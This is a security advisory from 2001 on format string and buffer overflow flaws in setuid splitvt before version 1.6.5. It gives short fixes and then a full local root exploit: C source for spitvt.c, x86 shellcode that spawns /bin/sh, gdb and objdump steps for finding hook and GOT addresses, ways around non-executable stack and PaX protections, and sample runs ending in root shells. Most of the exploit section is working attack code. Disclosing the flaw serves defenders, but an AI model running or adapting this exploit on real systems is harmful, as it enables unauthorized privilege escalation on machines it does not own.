[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Multiple vulnerabilities in splitvt

Title: Multiple vulnerabilities in splitvt
Released by: fish stiqz and Michel "MaXX" K
Date: 15th January 2001
Printable version: Click here
---------------[ MasterSecuritY  ]---------------



----------------[ Multiple vulnerabilities in splitvt ]-----------------



------------------[ By fish stiqz  ]-------------------

---------[ And Michel "MaXX" Kaempf  ]----------



--[ 0x00 - Table of contents ] -----------------------------------------



0x01 - Overview

0x02 - Solutions

0x03 - Exploit



--[ 0x01 - Overview ]---------------------------------------------------



> Splitvt is a program that splits any vt100 compatible screen into

> two - an upper and lower window in which you can run two programs

> at the same time. Splitvt differs from screen in that while screen

> gives you multiple virtual screens, splitvt splits your screen into

> two fully visible windows. You can even use splitvt with screen to

> provide multiple split screens. This can be very handy when running

> over a modem, or for developing client-server applications or watching

> routine tasks as you work.



The latest splitvt versions are available via the web at:



http://www.devolution.com/~slouken/projects/splitvt/



Versions < 1.6.5 contain a format string vulnerability and numerous

buffer overflows. As splitvt is installed setuid root or setgid tty or

utmp on most systems, an attacker might be able to successfully exploit

one of these vulnerabilities and gain special privileges on the local

system.



Sam Lantinga , the author, was contacted and a

patch fixing the exploitable and potential holes found in splitvt was

provided. He released a new splitvt version, 1.6.5, based on this patch.



--[ 0x02 - Solutions ]--------------------------------------------------



----[ Short-term solution ]---------------------------------------------



Remove the setuid or setgid bit from splitvt, because as mentioned in

the splitvt ANNOUNCE file:



> The set-uid bit is only for updating the utmp database and for

> changing ownership of its pseudo-terminals. It is not necessary for

> splitvt's operation.



Upgrade to splitvt 1.6.5, available at:



http://www.devolution.com/~slouken/projects/splitvt/



----[ Long-term solution ]----------------------------------------------



Permanently remove the setuid or setgid bit from splitvt, because

if splitvt appears to be a useful program, it was not designed with

security in mind, as revealed by the splitvt CHANGES file:



> Version 1.6.5

>     Security fixes by fish stiqz

>

> Version 1.6.4

>     Patched some security holes:

>         fixed buffer overflow in lock.c

>

> Version 1.6.3

>     Patched some security holes:

>         fixed sprintf overflow in parserc.c

>         fixed env label overflow in parserc.c

>         fixed env variable expansion overflow

>         added read access check in parserc.c

>         added chdir() access check in parserc.c

>         fixed sprintf overflow in vtmouse.c



--[ 0x03 - Exploit ]----------------------------------------------------



Although many of the discovered buffer overflows were exploitable, the

program described here exploits the format string vulnerability present

in the parserc.c module:



> sprintf(rcfile_buf, startupfile, home);



rcfile_buf is a malloced buffer, startupfile is a string provided to

splitvt by the user thanks to the -rcfile option, and home is a pointer

to the HOME environment variable.



----[ The downward spiral ]---------------------------------------------



The exploit should be portable and even work against systems protected

with StackGuard, StackShield, OpenWall, PaX or whatever. The current

version successfully exploits splitvt on every Linux system (i386,

sparc, etc), and should only need a small amount of changes in order to

work against different systems, like *BSD or SunOS for example. See the

"Portability" section below for more information.



The vulnerability looks like a classic format string vulnerability, and

it is, except one or two details. The *printf() functions read their

arguments on the stack, and in case of a format string vulnerability,

they read the addresses where they should store the number of characters

written so far (the %n arguments) on the stack. Here, the rcfile_buf

is located in the heap and not on the stack, and that is why the %n

arguments should already be present somewhere on the stack at the time

the guilty sprintf() call is performed. The exploit stores them among

the arguments passed to splitvt, so that they are located on the stack

and can contain nul characters.



The format string (startupfile) should therefore force sprintf() to

eat every single byte on the stack until it reaches the %n arguments,

located somewhere at the beginning of the stack. And the format string

should be built so that rcfile_buf cannot be overflowed, which could

happen because it was malloced to hold the format string, but not

the *converted* format string. The solution is to use %c, which is 2

bytes long, but only 1 byte long (one character) once converted. Thus

rcfile_buf will be big enough to hold the converted format string. And

because one %c is only 2 bytes long but actually eats 4 bytes on the

stack, the length of the whole format string is minimized.



----[ Further down the spiral ]-----------------------------------------



During the design of the exploit, lots of problems arose:



- On SlackWare for example, /bin/sh (bash) drops privileges before

actually spawning a shell. The exploit should therefore fix the

privileges before running a shell.



- The length modifier hh, described in printf(3), did not work correctly

on Linux i386 systems when used along with the n conversion specifier

(%hhn behaved just like %n). The latest libc release corrects this

behaviour, but not everyone runs the latest libc.



- Something strange is going on when passing very long arguments to

execve() on Linux sparc. Instead of complaining because of a too long

argument list like on Linux i386, execve() successfully starts the new

program, but some arguments passed to the program are overwritten, and

some environment variables are lost, but without any notification.



The conclusion was: in order to build a portable exploit, a flexible

mechanism, capable of overwriting an arbitrary number of arbitrary

integers in memory with arbitrary integers, was needed. The information

the exploit needs in order to successfully work are described in the

"fixme" section of the code:



- COMMAND: the command splitvt should run once the terminal split into

two windows (see below);



- HOME_VALUE: the value of the HOME environment variable (see below);



- SPLITVT: the location of the setuid or setgid splitvt binary

("/usr/bin/splitvt" on most systems);



- STACK: the beginning of the stack ((0xc0000000-4) on Linux i386,

(0xf0000000-8) on Linux sparc for example);



- n: an array where each entry indicates an integer type (short_int or

signed_char), a pointer to an integer to be overwritten (pointer) and

the integer which should be stored there (number) (see below).



Besides the "fixme" section, the exploit also needs to know how many

integers it should eat on the stack: its unique command line argument.



----[ Linux i386 ]------------------------------------------------------



- The first obvious exploitation method would be to overwrite a function

pointer somewhere in memory (__malloc_hook for example) with a pointer

to a shellcode located somewhere on the stack (the HOME environment

variable for example).



Here is how to find out the address of the __malloc_hook function

pointer:



$ cp /usr/bin/splitvt /tmp/splitvt

$ gdb /tmp/splitvt

(gdb) break getopt

(gdb) run

(gdb) p &__malloc_hook

0x40140cdc



Here is the corresponding "fixme" section:



/*  */

#define COMMAND "foobar"

#define HOME_VALUE \

    /* setuid( 0 ); */ \

    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \

    /* setgid( 0 ); */ \

    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \

    /* Aleph One :) */ \

    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

#define SPLITVT "/usr/bin/splitvt"

#define STACK (0xc0000000-4)

n_t n[] = {

    { short_int, (void *)(0x40140cdc+0),

        ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0x0000fffc) },

    { short_int, (void *)(0x40140cdc+2),

        ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0xffff0000)>>16 },

    { null }

};

/*  */



COMMAND is set to "foobar" because it does not matter, splitvt

will not be able to reach the part of the code which uses this

value. The __malloc_hook function pointer will be overwritten in

two passes (two short ints). The address of the shellcode (the HOME

environment variable) is computed so that it is 4 bytes aligned

(thus the &0x0000fffc) and split into two short ints. And the final

exploitation:



$ gcc -o spitvt spitvt.c

$ for i in `seq 8630 8670`; do echo $i; ./spitvt $i; done

8630

8631

8632

8633

8634

8635

8636

8637

8638

8639

8640

8641

8642

8643

8644

8645

8646

8647

sh-2.03# id

uid=0(root) gid=0(root)



- The previous method will not work on systems patched with Solar

Designer's non-executable stack patch. But at the beginning of the

rcfile_buf buffer, located somewhere in the heap, is stored the content

of the HOME environment variable. Thanks to ltrace for example, it is

possible to find out the address of rcfile_buf and to exploit splitvt on

patched systems:



$ cp /usr/bin/splitvt /tmp/splitvt

$ gdb /tmp/splitvt

(gdb) break getopt

(gdb) run

(gdb) p &__free_hook

0x255cd8



$ ltrace /tmp/splitvt 2>&1 | grep malloc

0x0805f958



/*  */

#define COMMAND "foobar"

#define HOME_VALUE \

    /* setuid( 0 ); */ \

    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \

    /* setgid( 0 ); */ \

    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \

    /* Aleph One :) */ \

    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

#define SPLITVT "/usr/bin/splitvt"

#define STACK (0xc0000000-4)

n_t n[] = {

    { short_int, (void *)(0x255cd8+0), /*0805*/0xf958 },

    { short_int, (void *)(0x255cd8+2), 0x0805/*f958*/ },

    { null }

};

/*  */



$ gcc -o spitvt spitvt.c

$ ./spitvt 8659

sh-2.03# id

uid=0(root) gid=0(root)



- The previous method will not work against systems patched with PaX.

Therefore the exploit has to use return-into-libc style attacks. For

example, the library call following the guilty sprintf() call is:



> open(rcfile_buf, O_RDONLY, 0)



Fortunately, O_RDONLY is equal to 0, so that, if the exploit manages to

replace the open() function with the execve() function, the previous

library call would actually result in execve(rcfile_buf, NULL, NULL).



The exploit should overwrite the GOT (Global Offset Table) entry of the

open() function with the address of the execve() function, and make

sure rcfile_buf contains a valid filename (rcfile_buf holds the HOME

environment variable and garbage (the converted %c characters)... thus

the exploit has to nul terminate the HOME string (thanks to a third

entry in the n array) in order to create a valid filename):



$ objdump -R /usr/bin/splitvt | grep open

08052f40



$ cp /usr/bin/splitvt /tmp/splitvt

$ gdb /tmp/splitvt

(gdb) break getopt

(gdb) run

(gdb) p execve

0x400ec178



$ ltrace /tmp/splitvt 2>&1 | grep malloc

0x0805f958



$ gcc -o /tmp/sh /tmp/sh.c

$ cat /tmp/sh.c

#include 

int main()

{

    char * argv[] = { "/bin/sh", NULL };

    setuid( 0 );

    setgid( 0 );

    execve( argv[0], argv, NULL );

    return( -1 );

}



/*  */

#define COMMAND "foobar"

#define HOME_VALUE "/tmp/sh"

#define SPLITVT "/usr/bin/splitvt"

#define STACK (0xc0000000-4)

n_t n[] = {

    { short_int, (void *)(0x08052f40 + 0), /*400e*/0xc178 },

    { short_int, (void *)(0x08052f40 + 2), 0x400e/*c178*/ },

    { signed_char, (void *)(0x0805f958 + sizeof(HOME_VALUE) - 1), 0 },

    { null }

};

/*  */



$ gcc -o spitvt spitvt.c

$ ./spitvt 8658

sh-2.03# id

uid=0(root) gid=0(root)



- But wait... thanks to splitvt, it is possible to obtain two root

shells for the price of one. The exploit has to make sure splitvt does

not drop the privileges before spawning the shells, by replacing the

call to setuid (or setgid, depending on the splitvt binary) with a

harmless call, to getuid for example:



$ objdump -R /usr/bin/splitvt | grep setuid

08052f78



$ objdump -T /usr/bin/splitvt | grep getuid

08049250



/*  */

#define COMMAND "/tmp/sh"

#define HOME_VALUE "foobar"

#define SPLITVT "/usr/bin/splitvt"

#define STACK (0xc0000000-4)

n_t n[] = {

    { short_int, (void *)(0x08052f78 + 0), /*0804*/0x9250 },

    { short_int, (void *)(0x08052f78 + 2), 0x0804/*9250*/ },

    { null }

};

/*  */



$ gcc -o spitvt spitvt.c

$ ./spitvt 8659



Gotcha!



- Another method, which will only work on systems where splitvt is

setuid root, is to replace the call to getuid() with a call to sync(), a

harmless function which always returns 0:



$ objdump -R /usr/bin/splitvt | grep getuid

08052f30



$ cp /usr/bin/splitvt /tmp/splitvt

$ gdb /tmp/splitvt

(gdb) break getopt

(gdb) run

(gdb) p sync

0x40105b80



/*  */

#define COMMAND "/bin/sh"

#define HOME_VALUE "foobar"

#define SPLITVT "/usr/bin/splitvt"

#define STACK (0xc0000000-4)

n_t n[] = {

    { short_int, (void *)(0x08052f30 + 0), /*4010*/0x5b80 },

    { short_int, (void *)(0x08052f30 + 2), 0x4010/*5b80*/ },

    { null }

};

/*  */



$ gcc -o spitvt spitvt.c

$ ./spitvt 8659



Gotcha!



----[ Linux sparc ]-----------------------------------------------------



The shellcode techniques (stack and heap) presented above work on Linux

sparc. The return-into-libc attacks however will not if applied directly

to the sparc architecture, because of the differences in the dynamic

linking process: on sparc, there is no GOT. When disassembling the

code corresponding to dynamically linked functions before the shared

libraries are loaded:



$ ls -l /usr/bin/splitvt

-rwxr-sr-x    1 root     utmp        50824 Jun 28  2000 /usr/bin/splitvt



$ cp /usr/bin/splitvt /tmp/splitvt

$ gdb /tmp/splitvt

(gdb) disass setgid

Dump of assembler code for function setgid:

0x2beac :       sethi  %hi(0x48000), %g1

0x2beb0 :     b,a   0x2bd8c <_IO_stdin_used+72780>

0x2beb4 :     nop

End of assembler dump.

(gdb) disass getgid

Dump of assembler code for function getgid:

0x2c014 :       sethi  %hi(0xa2000), %g1

0x2c018 :     b,a   0x2bd8c <_IO_stdin_used+72780>

0x2c01c :     nop

End of assembler dump.



The code of the setgid() and getgid() functions is exactly the same,

except the value of the second short int:



(gdb) x 0x2beac

0x2beac :       0x03000120

(gdb) x 0x2c014

0x2c014 :       0x03000288



If the exploit replaces 0x0120 at the address (0x2beac+2) with 0x0288,

splitvt should not drop the privileges before spawning the shells:



/*  */

#define COMMAND "/bin/sh"

#define HOME_VALUE "foobar"

#define SPLITVT "/usr/bin/splitvt"

#define STACK (0xf0000000-8)

n_t n[] = {

    { signed_char, (void *)(0x2beac+2), 0x02 },

    { signed_char, (void *)(0x2beac+3), 0x88 },

    { null }

};

/*  */



Because of the potential very long arguments described above in the

"Further down the spiral" section, the signed_char mechanism was used

instead of the short_int mechanism.



$ gcc -o spitvt spitvt.c

$ ./spitvt 8715

sh-2.04$ id

egid=43(utmp)



Gotcha!



----[ Portability ]-----------------------------------------------------



The exploit is already almost portable, but in order to work on

operating systems different from Linux, a few changes have to be made:

the stack layout has to be known, because sometimes 4 bytes and 16

bytes alignment is required (see the "Code" section below for more

information).



Therefore, each time the symbolic constant STACK appears, there is

something to adjust in the exploit. Help or pointers to documentation

concerning the initial stack layout on SunOS, Solaris, *BSD or whatever

would be greatly appreciated. Thanks!



----[ Code ]------------------------------------------------------------



/*

 * MasterSecuritY 

 *

 * spitvt.c - Local exploit for splitvt < 1.6.5

 * Copyright (C) 2001  fish stiqz 

 * Copyright (C) 2001  Michel "MaXX" Kaempf 

 *

 * Updated versions of this exploit and the corresponding advisory will

 * be made available at:

 *

 * http://maxx.via.ecp.fr/spitvt/

 *

 * This program is free software; you can redistribute it and/or modify

 * it under the terms of the GNU General Public License as published by

 * the Free Software Foundation; either version 2 of the License, or (at

 * your option) any later version.

 *

 * This program is distributed in the hope that it will be useful,

 * but WITHOUT ANY WARRANTY; without even the implied warranty of

 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU

 * General Public License for more details.

 *

 * You should have received a copy of the GNU General Public License

 * along with this program; if not, write to the Free Software

 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307

 * USA

 */



#include 

#include 

#include 

#include 

#include 



/* array_of_strings_t */

typedef struct array_of_strings_s {

    size_t strings;

    char ** array;

} array_of_strings_t;



/* type_t */

typedef enum {

    short_int,

    signed_char,

    null

} type_t;



/* n_t */

typedef struct n_s {

    type_t type;

    void * pointer;

    int number;

} n_t;



/*  */

#define COMMAND ""

#define HOME_VALUE ""

#define SPLITVT ""

#define STACK ()

n_t n[] = {

    { null }

};

/*  */



unsigned long int eat;

array_of_strings_t aos_envp = { 0, NULL };

array_of_strings_t aos_argv = { 0, NULL };



/* array_of_strings() */

int array_of_strings( array_of_strings_t * p_aos, char * string )

{

    size_t strings;

    char ** array;



    if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {

        return( -1 );

    }

    strings = p_aos->strings + 1;



    array = realloc( p_aos->array, strings * sizeof(char *) );

    if ( array == NULL ) {

        return( -1 );

    }



    (p_aos->array = array)[ p_aos->strings++ ] = string;

    return( 0 );

}



#define HOME_KEY "HOME"

/* home() */

int home()

{

    char * home;

    unsigned int envp_home;

    unsigned int i;



    home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );

    if ( home == NULL ) {

        return( -1 );

    }



    strcpy( home, HOME_KEY"="HOME_VALUE );



    /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes

     * alignment is sometimes required (on sparc architectures for

     * example) */

    envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);

    for ( i = 0; i < envp_home % 4; i++ ) {

        strcat( home, "X" );

    }



    return( array_of_strings(&aos_envp, home) );

}



/* shell() */

int shell()

{

    size_t size;

    unsigned int i;

    char * shell;

    char * string;



    size = 0;

    for ( i = 0; n[i].type != null; i++ ) {

        size += sizeof(void *);

    }



    shell = malloc( size + 3 + 1 );

    if ( shell == NULL ) {

        return( -1 );

    }



    for ( i = 0; n[i].type != null; i++ ) {

        *( (void **)shell + i ) = n[i].pointer;

    }



    /* since file is 16 bytes aligned on the stack, the following 3

     * characters padding ensures shell is 4 bytes aligned */

    for ( i = 0; i < 3; i++ ) {

        shell[ size + i ] = 'X';

    }



    shell[ size + i ] = '\0';



    for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {

        if ( array_of_strings(&aos_argv, string) ) {

            return( -1 );

        }

    }



    return( 0 );

}



#define S "%s"

#define C "%c"

#define HN "%hn"

#define HHN "%hhn"

/* file() */

int file()

{

    size_t size;

    unsigned int i, j;

    char * file;

    int number;

    unsigned int argv_file;



    size = (sizeof(S)-1) + (eat * (sizeof(C)-1));

    for ( i = 0; n[i].type != null; i++ ) {

        switch ( n[i].type ) {

            case short_int:

                /* at most USHRT_MAX 'X's are needed */

                size += USHRT_MAX + (sizeof(HN)-1);

                break;



            case signed_char:

                /* at most UCHAR_MAX 'X's are needed */

                size += UCHAR_MAX + (sizeof(HHN)-1);

                break;



            case null:

            default:

                return( -1 );

        }

    }



    file = malloc( size + (16-1) + 1 );

    if ( file == NULL ) {

        return( -1 );

    }



    i = 0;



    memcpy( file + i, S, sizeof(S)-1 );

    i += sizeof(S)-1;



    for ( j = 0; j < eat; j++ ) {

        memcpy( file + i, C, sizeof(C)-1 );

        i += sizeof(C)-1;

    }



    /* initialize number to the number of characters written so far

     * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME

     * environment variable) */

    number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;



    for ( j = 0; n[j].type != null; j++ ) {

        switch ( n[j].type ) {

            case short_int:

                while ( (short int)number != (short int)n[j].number ) {

                    file[ i++ ] = 'X';

                    number += 1;

                }

                memcpy( file + i, HN, sizeof(HN)-1 );

                i += sizeof(HN)-1;

                break;



            case signed_char:

                while ( (signed char)number != (signed char)n[j].number ) {

                    file[ i++ ] = 'X';

                    number += 1;

                }

                memcpy( file + i, HHN, sizeof(HHN)-1 );

                i += sizeof(HHN)-1;

                break;



            case null:

            default:

                return( -1 );

        }

    }



    /* in order to maintain a constant distance between the sprintf()

     * arguments and the splitvt shell argument, 16 bytes alignment is

     * sometimes required (for ELF binaries for example) */

    argv_file = STACK - sizeof(SPLITVT);

    for ( j = 0; aos_envp.array[j] != NULL; j++ ) {

        argv_file -= strlen( aos_envp.array[j] ) + 1;

    }

    argv_file -= i + 1;

    for ( j = 0; j < argv_file % 16; j++ ) {

        file[ i++ ] = 'X';

    }



    file[ i ] = '\0';



    return( array_of_strings(&aos_argv, file) );

}



/* main() */

int main( int argc, char * argv[] )

{

    /* eat */

    if ( argc != 2 ) {

        return( -1 );

    }

    eat = strtoul( argv[1], NULL, 0 );



    /* aos_envp */

    array_of_strings( &aos_envp, "TERM=vt100" );

    /* home() should always be called right before NULL is added to

     * aos_envp */

    if ( home() ) {

        return( -1 );

    }

    array_of_strings( &aos_envp, NULL );



    /* aos_argv */

    array_of_strings( &aos_argv, SPLITVT );

    array_of_strings( &aos_argv, "-upper" );

    array_of_strings( &aos_argv, COMMAND );

    array_of_strings( &aos_argv, "-lower" );

    array_of_strings( &aos_argv, COMMAND );

    /* shell() should always be called right before "-rcfile" is added

     * to aos_argv */

    if ( shell() ) {

        return( -1 );

    }

    array_of_strings( &aos_argv, "-rcfile" );

    /* file() should always be called right after "-rcfile" is added to

     * aos_argv and right before NULL is added to aos_argv */

    if ( file() ) {

        return( -1 );

    }

    array_of_strings( &aos_argv, NULL );



    /* execve() */

    execve( aos_argv.array[0], aos_argv.array, aos_envp.array );

    return( -1 );

}



--

MaXX








(C) 1999-2000 All rights reserved.